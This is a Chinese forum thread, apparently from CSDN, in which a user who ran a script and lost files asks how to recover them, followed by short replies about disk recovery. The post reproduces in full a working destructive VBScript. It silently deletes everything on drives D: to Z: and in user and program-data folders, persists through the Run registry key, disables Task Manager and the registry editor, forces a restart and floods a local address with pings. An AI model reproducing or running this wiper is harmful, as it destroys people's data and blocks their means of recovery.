各位大佬救命,怎么解除,有重要文件!谢谢

m0_46453303 2020-03-02 02:24:54
On Error Resume Next dim avest,xufso,wscrt Set avest = WScript.Createobject("WScript.Shell") Set wscrt = WScript.Createobject("WScript.Shell") Set xufso = CreateObject("Scripting.FileSystemObject") avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true xufso.CreateFolder "C:\VBScript\" wscrt.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功!" xufso.copyfile Wscript.Scriptfullname,"C:\VBScript\一触即发.vbs" xufso.copyfile Wscript.Scriptfullname,"C:\Users\Public\Desktop\一触即发.vbs" wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD" wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD" wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一触即发.vbs","REG_SZ" wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD" msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp!",16+4096,"Error" do wscrt.run "ping 192.168.1.1 -l 65500 -t" loop
...全文
665 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
lin12x 2020-11-10
  • 打赏
  • 举报
回复
楼主运行了?
threenewbee 2020-04-13
  • 打赏
  • 举报
回复
用finaldata 2.0恢复下
chinesetyq 2020-04-11
  • 打赏
  • 举报
回复
有意思。。。。。。
无·法 2020-03-13
  • 打赏
  • 举报
回复
楼主你运行这脚本了? 谁发你运行的呀,真坑的啊
libo349 2020-03-13
  • 打赏
  • 举报
回复
这代码真够狠的
m0_46453303 2020-03-02
  • 打赏
  • 举报
回复
引用 2 楼 笨狗先飞 的回复:
别开机了,硬盘拆下来,找人处理,或者装别的电脑上,用硬盘数据恢复工具试试。
谢谢🙏
笨狗先飞 2020-03-02
  • 打赏
  • 举报
回复
别开机了,硬盘拆下来,找人处理,或者装别的电脑上,用硬盘数据恢复工具试试。
m0_46453303 2020-03-02
  • 打赏
  • 举报
回复
怎么办,各路大佬

741

社区成员

发帖
与我相关
我的任务
社区描述
VB 版八卦、闲侃,联络感情地盘,禁广告帖、作业帖
社区管理员
  • 非技术类社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧